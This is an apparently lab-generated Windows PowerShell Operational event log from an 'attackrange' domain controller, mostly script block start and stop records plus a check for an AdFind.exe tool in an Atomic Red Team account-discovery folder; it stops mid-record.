Message=Started invocation of ScriptBlock ID: 62c73b10-ce47-4819-a622-55e5c86121c9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478832
Keywords=None
Message=Completed invocation of ScriptBlock ID: 93d779ef-941d-4e00-98f9-278cc93e6e44
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478831
Keywords=None
Message=Started invocation of ScriptBlock ID: 93d779ef-941d-4e00-98f9-278cc93e6e44
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478830
Keywords=None
Message=Completed invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478829
Keywords=None
Message=Started invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478828
Keywords=None
Message=Completed invocation of ScriptBlock ID: a8e4500d-dea0-4c12-9b07-1211b99fa9eb
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478827
Keywords=None
Message=Completed invocation of ScriptBlock ID: a94aafd9-20d5-4b97-804a-d64f984a7294
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478826
Keywords=None
Message=Started invocation of ScriptBlock ID: a94aafd9-20d5-4b97-804a-d64f984a7294
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478825
Keywords=None
Message=Completed invocation of ScriptBlock ID: 5ee3323a-da1a-4e88-80c7-27401c836ac4
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478824
Keywords=None
Message=Started invocation of ScriptBlock ID: 5ee3323a-da1a-4e88-80c7-27401c836ac4
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478823
Keywords=None
Message=Completed invocation of ScriptBlock ID: b1ab4dc0-74ec-44f5-99a1-740f0f3055f2
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478822
Keywords=None
Message=Completed invocation of ScriptBlock ID: 3a4f0322-8a1f-4935-b75b-7b1360c19530
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478821
Keywords=None
Message=Completed invocation of ScriptBlock ID: 9eb59db5-ed3e-41d3-9d04-6a88e40f3e61
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478820
Keywords=None
Message=Started invocation of ScriptBlock ID: 9eb59db5-ed3e-41d3-9d04-6a88e40f3e61
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478819
Keywords=None
Message=Started invocation of ScriptBlock ID: 3a4f0322-8a1f-4935-b75b-7b1360c19530
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478818
Keywords=None
Message=Started invocation of ScriptBlock ID: b1ab4dc0-74ec-44f5-99a1-740f0f3055f2
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478817
Keywords=None
Message=Started invocation of ScriptBlock ID: a8e4500d-dea0-4c12-9b07-1211b99fa9eb
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478816
Keywords=None
Message=Completed invocation of ScriptBlock ID: 18112540-b6c5-4351-8b4f-3433ca6f80bb
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478815
Keywords=None
Message=Started invocation of ScriptBlock ID: 18112540-b6c5-4351-8b4f-3433ca6f80bb
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478814
Keywords=None
Message=Completed invocation of ScriptBlock ID: a8e4500d-dea0-4c12-9b07-1211b99fa9eb
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478813
Keywords=None
Message=Completed invocation of ScriptBlock ID: a94aafd9-20d5-4b97-804a-d64f984a7294
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478812
Keywords=None
Message=Started invocation of ScriptBlock ID: a94aafd9-20d5-4b97-804a-d64f984a7294
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478811
Keywords=None
Message=Completed invocation of ScriptBlock ID: 5ee3323a-da1a-4e88-80c7-27401c836ac4
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478810
Keywords=None
Message=Started invocation of ScriptBlock ID: 5ee3323a-da1a-4e88-80c7-27401c836ac4
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478809
Keywords=None
Message=Completed invocation of ScriptBlock ID: b1ab4dc0-74ec-44f5-99a1-740f0f3055f2
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478808
Keywords=None
Message=Completed invocation of ScriptBlock ID: 3a4f0322-8a1f-4935-b75b-7b1360c19530
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478807
Keywords=None
Message=Completed invocation of ScriptBlock ID: 9eb59db5-ed3e-41d3-9d04-6a88e40f3e61
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478806
Keywords=None
Message=Started invocation of ScriptBlock ID: 9eb59db5-ed3e-41d3-9d04-6a88e40f3e61
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478805
Keywords=None
Message=Started invocation of ScriptBlock ID: 3a4f0322-8a1f-4935-b75b-7b1360c19530
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478804
Keywords=None
Message=Started invocation of ScriptBlock ID: b1ab4dc0-74ec-44f5-99a1-740f0f3055f2
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478803
Keywords=None
Message=Started invocation of ScriptBlock ID: a8e4500d-dea0-4c12-9b07-1211b99fa9eb
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478802
Keywords=None
Message=Completed invocation of ScriptBlock ID: 18112540-b6c5-4351-8b4f-3433ca6f80bb
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478801
Keywords=None
Message=Started invocation of ScriptBlock ID: 18112540-b6c5-4351-8b4f-3433ca6f80bb
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478800
Keywords=None
Message=Completed invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478799
Keywords=None
Message=Started invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478798
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1ef9c228-b78e-4897-b91e-9c995c7fd3bc
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478797
Keywords=None
Message=Completed invocation of ScriptBlock ID: 5e0d8bf0-0d59-46ae-ba48-466746596727
Runspace ID: b1992ef2-481f-4eb9-a780-53254f41a29e
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478796
Keywords=None
Message=Completed invocation of ScriptBlock ID: dea4b144-29f4-4286-bb01-4f52c88a2633
Runspace ID: b1992ef2-481f-4eb9-a780-53254f41a29e
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478795
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2b9cd2a2-9d25-45ed-a278-985660206b85
Runspace ID: b1992ef2-481f-4eb9-a780-53254f41a29e
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478794
Keywords=None
Message=Started invocation of ScriptBlock ID: 2b9cd2a2-9d25-45ed-a278-985660206b85
Runspace ID: b1992ef2-481f-4eb9-a780-53254f41a29e
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478793
Keywords=None
Message=Started invocation of ScriptBlock ID: dea4b144-29f4-4286-bb01-4f52c88a2633
Runspace ID: b1992ef2-481f-4eb9-a780-53254f41a29e
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1478792
Keywords=None
Message=Creating Scriptblock text (1 of 1):
{if (Test-Path C:\AtomicRedTeam\atomics\T1087.002\src\AdFind.exe) {exit 0} else {exit 1}}
ScriptBlock ID: dea4b144-29f4-4286-bb01-4f52c88a2633
Path:
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478791
Keywords=None
Message=Started invocation of ScriptBlock ID: 5e0d8bf0-0d59-46ae-ba48-466746596727
Runspace ID: b1992ef2-481f-4eb9-a780-53254f41a29e
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1478790
Keywords=None
Message=Creating Scriptblock text (1 of 1):
& {if (Test-Path C:\AtomicRedTeam\atomics\T1087.002\src\AdFind.exe) {exit 0} else {exit 1}}
ScriptBlock ID: 5e0d8bf0-0d59-46ae-ba48-466746596727
Path:
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=40962
EventType=4
Type=Information
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=PowerShell Console Startup
OpCode=Stop
RecordNumber=1478789
Keywords=None
Message=PowerShell console is ready for user input
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=53504
EventType=4
Type=Information
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=PowerShell Named Pipe IPC
OpCode=Open (async)
RecordNumber=1478788
Keywords=None
Message=Windows PowerShell has started an IPC listening thread on process: 6488 in AppDomain: DefaultAppDomain.
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=40961
EventType=4
Type=Information
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=PowerShell Console Startup
OpCode=Start
RecordNumber=1478787
Keywords=None
Message=PowerShell console is starting up
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478786
Keywords=None
Message=Started invocation of ScriptBlock ID: 1ef9c228-b78e-4897-b91e-9c995c7fd3bc
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478785
Keywords=None
Message=Completed invocation of ScriptBlock ID: 62c73b10-ce47-4819-a622-55e5c86121c9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478784
Keywords=None
Message=Completed invocation of ScriptBlock ID: 7e434dd3-d70d-47fd-bebf-987ac7eb8aab
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478783
Keywords=None
Message=Started invocation of ScriptBlock ID: 7e434dd3-d70d-47fd-bebf-987ac7eb8aab
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478782
Keywords=None
Message=Started invocation of ScriptBlock ID: 62c73b10-ce47-4819-a622-55e5c86121c9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478781
Keywords=None
Message=Completed invocation of ScriptBlock ID: 62c73b10-ce47-4819-a622-55e5c86121c9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478780
Keywords=None
Message=Completed invocation of ScriptBlock ID: 7e434dd3-d70d-47fd-bebf-987ac7eb8aab
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478779
Keywords=None
Message=Started invocation of ScriptBlock ID: 7e434dd3-d70d-47fd-bebf-987ac7eb8aab
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478778
Keywords=None
Message=Started invocation of ScriptBlock ID: 62c73b10-ce47-4819-a622-55e5c86121c9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
